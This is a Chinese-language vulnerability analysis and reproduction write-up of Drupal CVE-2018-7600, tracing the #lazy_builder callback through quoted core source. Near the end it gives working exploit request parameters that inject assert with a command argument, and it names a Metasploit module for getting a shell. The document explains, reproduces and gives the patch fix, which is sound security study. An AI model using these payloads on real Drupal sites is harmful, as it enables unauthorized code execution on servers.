影响范围

Drupal 7.x.x ~ 8.5.0

复现环境

Ubuntu 18.04 + Drupal 8.5.0

攻击机:win10

漏洞原理

漏洞形成的原因主要是drupal对表单的渲染有问题

Drupal Render API 对开头带#的参数有特殊的处理,对于一些数组中开头带#的值,Drupal会通过call_user_func的方式进行处理,因此造成任意代码执行。

Drupal渲染数组的情况有页面加载和Ajax表单发出的请求,在这里Ajax API调用是攻击者最佳的选择。那么作为用户注册表单的一部分,图片字段使用Ajax API将图片上传到服务器,并且生成缩略图

可供选择的属性:

#access_callback 由Drupal使用来确定当前用户是否有权访问元素。

#pre_render 在渲染之前操作渲染数组。

#post_render 接收渲染过程的结果并在其周围添加包装。

#lazy_builder 用于在渲染过程的最后添加元素。

#access_callback 标签虽然callback回调函数可控,但需要回调处理的字符串不可控,导致无法利用。

(引用自:https://www.anquanke.com/post/id/104697)

首先来看一下drupal目录下的\core\lib\Drupal\Core\Form\FormBuilder.php,其中buildForm()函数使得我们通过一个数组来创建表单

public function buildForm($form_id, FormStateInterface &$form_state) {
    
    $form_id = $this->getFormId($form_id, $form_state);
    $request = $this->requestStack->getCurrentRequest();
    $form_state->setRequestMethod($request->getMethod());
    
    $input = $form_state->getUserInput();
    if (!isset($input)) {
      $input = $form_state->isMethodType('get') ? $request->query->all() : $request->request->all();
      $form_state->setUserInput($input);
    }

    if (isset($_SESSION['batch_form_state'])) {
      $form_state = $_SESSION['batch_form_state'];
      unset($_SESSION['batch_form_state']);
      return $this->rebuildForm($form_id, $form_state);
    }

   
    $check_cache = isset($input['form_id']) && $input['form_id'] == $form_id && !empty($input['form_build_id']);
    if ($check_cache) {
      $form = $this->getCache($input['form_build_id'], $form_state);
    }

    
    if (!isset($form)) {
      if ($check_cache) {
        $form_state_before_retrieval = clone $form_state;
      }

      $form = $this->retrieveForm($form_id, $form_state);
      $this->prepareForm($form_id, $form, $form_state);

      
      if ($check_cache) {
        $cache_form_state = $form_state->getCacheableArray();
        $cache_form_state['always_process'] = $form_state->getAlwaysProcess();
        $cache_form_state['temporary'] = $form_state->getTemporary();
        $form_state = $form_state_before_retrieval;
        $form_state->setFormState($cache_form_state);
      }
    }

   
    $request = $this->requestStack->getCurrentRequest();
    if ($ajax_form_request = $request->query->has(static::AJAX_FORM_REQUEST)) {
      $form_state->disableRedirect();
    }

    
    $response = $this->processForm($form_id, $form, $form_state);

   
    if ($ajax_form_request && !$request->request->has('form_id')) {
      throw new BrokenPostRequestException($this->getFileUploadMaxSize());
    }

    
    if ($ajax_form_request && $form_state->isProcessingInput() && $request->request->get('form_id') == $form_id) {
      throw new FormAjaxException($form, $form_state);
    }

   
    if ($response instanceof Response) {
      throw new EnforcedResponseException($response);
    }

    return $form;
  }

对于一个drupal框架的应用程序来说,后台表单数组都是开发者写好的,攻击者是无法改变表单数组元素的key值的。 很多应用都提供了如下的一个便利的方法:

比如要注册一个用户,用户名、密码、邮箱、电话,这些东西都填好了。当点击提交的时候,网站告诉你,用户名已存在。 这时候,你会发现,密码、邮箱、电话这些元素不需要你再次填写了,页面已经将保存下来了。

(引用自:http://blog.nsfocus.net/cve-2018-7600-analysis/)

这个方便的方法就应用在drupal登录时的新用户创建处

整个流程为:

  1. 用户填写表单->表单没有问题->返回注册成功页面
  2. 用户填写表单->表单内容有问题(例如用户名已被注册)->调用buildform方法,把用户传入的内容一同构造为表单数组->渲染表单数组为html页面返回

(引用自:http://blog.nsfocus.net/cve-2018-7600-analysis/)

再来看drupal目录下的\core\modules\file\src\Element\ManagedFile.php:

public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');

    $form_parents = explode('/', $request->query->get('element_parents'));

    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);

    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }

    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);

    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);

    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

此时uploadAjaxCallback()接收的参数form便是buildForm()返回的变量form

重点在以下两句:

$form_parents = explode('/', $request->query->get('element_parents'));

$form = NestedArray::getValue($form, $form_parents);

将get到的参数element_parents的值以’/’为标志打散为数组,然后赋值给变量form_parents

然后调用getValue函数,那我们再看一下/core/lib/Drupal/Component/Utility/NestedArray.php中的getValue函数

public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    $ref = &$array;
    foreach ($parents as $parent) {
      if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
        $ref = &$ref[$parent];
      }
      else {
        $key_exists = FALSE;
        $null = NULL;
        return $null;
      }
    }
    $key_exists = TRUE;
    return $ref;
  }

此处是遍历前面传入的form_parents数组,获取到并返回带#的值

问题就出在/core/lib/Drupal/Core/Render/Renderer.php中的一段代码(省略了一部分)中,这里对#lazy_builder的处理可能引发命令执行:

if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);
...

主要引起漏洞的就是最后的call_user_func_array()函数,关于call_user_func_array的定义是:

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用

call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

此处的lazy_builder数组的第一个值作为回调函数,第二个值作为回调函数的参数

因此我们就可以传入非法的数组值来调用最后的call_user_func_array()来执行命令

漏洞利用

可供利用的就是drupal注册时的表单,此处有一个图片上传,图片上传成功后会有一个图片的缩略图显示在页面上

Alt text

抓包后,修改各个参数,主要是:

1. element_parents=account/mail/%23value
2. name=" mail[a][#lazy_builder][0]"   其值为assert
3. name=" mail[a][#lazy_builder][1][]"   其值为pwd

注意第三条,#lazy_builder的第二个元素其实也是一个数组,因此最后选择参数要再加一个[]

可以看到回显了当前站点的绝对路径 Alt text

PS: 该漏洞在kali的MSF中有对应的利用模块,可以直接get服务器的shell

模块名为:exploit/unix/webapp/drupal_drupalgeddon2

解决方案

升级到8.5.1及以上版本的drupal


参考文章:

详细的代码调试和分析可以看以下两篇文章:

http://blog.nsfocus.net/cve-2018-7600-analysis/

https://paper.seebug.org/567/